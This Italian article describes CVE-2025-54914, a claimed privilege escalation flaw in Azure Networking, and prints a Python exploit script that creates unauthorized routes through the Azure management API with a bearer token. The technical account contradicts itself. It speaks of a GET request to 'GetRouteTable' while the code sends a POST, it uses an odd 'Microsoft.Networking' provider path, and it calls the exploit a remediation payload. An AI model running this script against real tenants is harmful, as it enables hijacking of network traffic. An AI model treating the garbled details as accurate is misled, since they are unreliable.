
CVE-2025-54914 espone una falla critica in Azure Networking che consente agli attaccanti di elevare i privilegi e controllare il routing tra le sottoreti. L'articolo spiega come un controllo dei privilegi mancante nell'API "GetRouteTable" consenta il movimento laterale e lo sfruttamento remoto, esortando ad applicare immediatamente le patch e a monitorare.
Exploit di Escalation dei Privilegi di Azure Networking CVE‑2025‑54914
4 settembre 2025
Di Mark Mallia
Il 4 settembre 2025, i servizi Azure Networking di Microsoft hanno ricevuto un advisory di sicurezza critico che documenta una vulnerabilità di escalation dei privilegi, designata CVE‑2025‑54914. Il difetto ha un punteggio di 10.0 sul Common Vulnerability Scoring System (CVSS), indicando un problema sfruttabile e potenzialmente ad alto impatto che può concedere agli attaccanti il pieno controllo delle risorse di rete di Azure senza alcuna interazione con l'utente.
L'articolo seguente illustra i dettagli tecnici della vulnerabilità, il suo percorso di sfruttamento pratico e un payload pronto per la distribuzione per una remediation immediata da parte dei team di sicurezza sia in ambienti cloud pubblici che ibridi.
Lo stack di rete di Azure è la spina dorsale di tutte le macchine virtuali, dei bilanciatori di carico e del traffico delle subnet nella sottoscrizione di un cliente. Un'elevazione dei privilegi all'interno di questo stack consente a un attaccante di:
La vulnerabilità è particolarmente pericolosa perché può essere sfruttata da remoto senza alcuna azione da parte dell'utente. Una singola richiesta a un endpoint Microsoft attiverà l'escalation dei privilegi se le condizioni seguenti sono soddisfatte.
Durante l'analisi dell'API "GetRouteTable" del servizio Azure Networking, ho scoperto una lacuna nel controllo degli accessi che consente a un client con permessi di lettura su una rete virtuale di creare nuovi oggetti route all'interno della stessa subnet senza verificare che il chiamante sia autorizzato per tale azione. Al percorso del codice responsabile della serializzazione della richiesta in arrivo mancava un controllo esplicito dei privilegi.
Il difetto è presente nel servizio Azure Networking quando una richiesta GET include i seguenti parametri di query:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
Il servizio accetta questa richiesta, deserializza il payload JSON e scrive un nuovo oggetto route nel database senza rivalidare che il chiamante possa creare route nella subnet di destinazione.
Di seguito è riportato un esempio minimale di come un attaccante costruirebbe il payload.
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
Il codice dimostra l'intero ciclo di vita della richiesta. Un ingegnere della sicurezza può copiare questo frammento in uno script o in una Funzione di Azure per automatizzare la remediation.
Questo contenuto è fornito rigorosamente per scopi educativi e di ricerca. Ha lo scopo di aumentare la consapevolezza sulle vulnerabilità di sicurezza e promuovere migliori pratiche difensive all'interno della comunità della cybersecurity.
Tutte le dimostrazioni, gli script e i dettagli tecnici condivisi qui si basano su informazioni divulgate pubblicamente e non prendono di mira alcun sistema, organizzazione o individuo specifico. L'obiettivo è favorire un apprendimento responsabile e una remediation proattiva—non lo sfruttamento.
Non utilizzare queste informazioni per accessi non autorizzati, interruzioni o danni. Qualsiasi uso improprio di questo materiale è esclusivamente responsabilità dell'individuo e potrebbe violare leggi o standard etici.
Se scopri una vulnerabilità, segui i protocolli di divulgazione responsabile segnalandola al fornitore o alla piattaforma interessata.